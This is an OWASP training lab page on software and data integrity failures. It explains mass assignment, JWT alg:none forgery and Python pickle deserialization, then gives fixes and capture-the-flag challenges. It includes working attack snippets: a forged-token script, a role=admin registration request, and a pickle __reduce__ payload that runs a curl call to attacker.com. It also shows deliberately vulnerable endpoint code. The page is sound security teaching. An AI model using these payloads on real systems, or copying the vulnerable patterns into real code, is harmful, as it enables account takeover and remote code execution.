๐Ÿ›ก OWASP Lab
A08:2021 High

Software & Data Integrity Failures

Theory

A08 Software and Data Integrity Failures is a new category in OWASP 2021, partially merging the old Insecure Deserialization category with supply chain integrity concerns. It covers any situation where the application trusts data or code without verifying its integrity โ€” whether that's deserialising a pickled Python object, accepting a JWT with alg: none, or downloading an unverified software update.

Types of Software & Data Integrity Failures

  • Mass Assignment โ€” automatically binding all HTTP request fields to a model without a strict whitelist; an attacker adds role=admin to a registration request and the server accepts it
  • JWT Algorithm Confusion (alg: none) โ€” some JWT libraries accept "alg": "none", meaning no signature is required; attacker modifies the payload and submits an unsigned token
  • JWT Algorithm Substitution (RS256 โ†’ HS256) โ€” server using RSA signs with private key; attacker submits the public key as the HMAC secret and signs with HS256
  • Insecure Deserialization โ€” deserialising untrusted data with Python's pickle, PHP's unserialize(), or Java's ObjectInputStream can execute arbitrary code
  • Auto-update without signature verification โ€” software downloads and runs updates without verifying a cryptographic signature (SolarWinds attack vector)

Mass Assignment โ€” Vulnerable Code

from fastapi import Form
from pydantic import BaseModel

# VULNERABLE โ€” all form fields mapped directly to the User model
@app.post("/register")
async def register(request: Request):
    form = await request.form()
    user = User(**dict(form))   # includes ANY field the attacker sends!
    db.add(user)

# Attack:
# POST /register with body: username=hacker&password=hacker123&role=admin
# The "role" field is accepted and stored, granting admin privileges

JWT alg:none Attack โ€” Step by Step

# Step 1: Get a valid token
GET /jwt-token  โ†’  eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoidXNlciJ9.signature

# Step 2: Decode header + payload (base64)
Header:  {"alg": "HS256", "typ": "JWT"}
Payload: {"role": "user"}

# Step 3: Forge a new token with alg=none and role=admin
import base64, json

def b64url(data: str) -> str:
    return base64.urlsafe_b64encode(data.encode()).rstrip(b'=').decode()

forged_header  = b64url(json.dumps({"alg": "none", "typ": "JWT"}))
forged_payload = b64url(json.dumps({"role": "admin"}))
forged_token = f"{forged_header}.{forged_payload}."   # empty signature

# Step 4: Submit to vulnerable endpoint
GET /jwt-admin?token=  โ†’  flag{...}

Insecure Deserialization โ€” Python pickle RCE

import pickle, os

# VULNERABLE โ€” deserialising user-supplied data with pickle
@app.post("/restore-session")
def restore_session(data: bytes):
    session = pickle.loads(data)   # if data contains a __reduce__ payload, it executes OS commands!
    return {"user": session["user"]}

# Attack payload:
class Exploit(object):
    def __reduce__(self):
        return (os.system, ('curl https://attacker.com/pwned',))

payload = pickle.dumps(Exploit())
requests.post("/restore-session", data=payload)   # executes curl on the server

# FIXED โ€” never pickle user data; use JSON or a signed serialisation format
@app.post("/restore-session")
def restore_session_safe(data: str):
    session = jwt.decode(data, SECRET_KEY, algorithms=["HS256"])   # signed, not executable
    return {"user": session["user"]}

Fixed Code โ€” Mass Assignment & JWT

# FIXED โ€” explicit allowlist for registration fields
from pydantic import BaseModel

class RegisterRequest(BaseModel):
    username: str
    password: str
    # role is NOT in this model โ€” cannot be set by the client

@app.post("/register")
def register(data: RegisterRequest):
    user = User(username=data.username, password_hash=hash_pw(data.password), role="user")
    db.add(user)

# FIXED โ€” JWT: require explicit algorithm; never allow 'none'
import jwt as pyjwt

def verify_token(token: str) -> dict:
    return pyjwt.decode(
        token,
        SECRET_KEY,
        algorithms=["HS256"]   # explicit allowlist; 'none' will raise DecodeError
    )

Real-World Breaches

  • SolarWinds Orion (2020) โ€” Attackers compromised the build system and inserted malicious DLLs into legitimate signed software updates. The update was cryptographically signed by SolarWinds, so customers' update mechanisms accepted it without question.
  • Auth0 (2017) โ€” The JWT library in some configurations accepted alg: none tokens, allowing authentication bypass. Auth0 issued an emergency advisory.
  • Drupal SA-CORE-2019-003 โ€” Insecure deserialization of PHAR archives led to remote code execution; 1 million+ Drupal sites were at risk
  • Apache Commons Collections (2015) โ€” Java deserialization gadget chain; affected WebLogic, JBoss, WebSphere, and Jenkins. One of the most exploited deserialization vulnerabilities in history.

How to Fix โ€” Checklist

  • Mass assignment โ€” use strict request schemas (Pydantic models in FastAPI/Python; DTOs in Java/Go). Never bind raw request data to DB models
  • JWT โ€” always specify algorithms=["HS256"] (or your chosen algorithm) explicitly; never accept none
  • Never use pickle/PHP unserialize on untrusted input โ€” use JSON + schema validation, or signed JWT/MessagePack if you need structured serialisation
  • Software updates โ€” verify cryptographic signatures before applying updates; use package signing (sigstore, apt/yum GPG keys)
  • CI/CD pipeline security โ€” require code review for pipeline changes; use OIDC-based short-lived credentials; pin dependency versions with checksums
Challenge 1

Mass Assignment โ€” Become Admin on Registration

The registration endpoint blindly maps all POST fields to the user model. Include role=admin in your registration request.

Hint
Add &role=admin to the form POST or use curl: curl -X POST ... -d 'username=hacker&role=admin'
Challenge 2

JWT Algorithm Confusion โ€” alg:none Attack

Get a valid JWT from /web/a08/jwt-token, then strip the signature and set alg to none with role: admin. Submit the forged token to /web/a08/jwt-admin.

Hint
Decode the JWT, modify the payload, set alg: none, and submit with an empty signature. The server does not verify the signature when alg is none.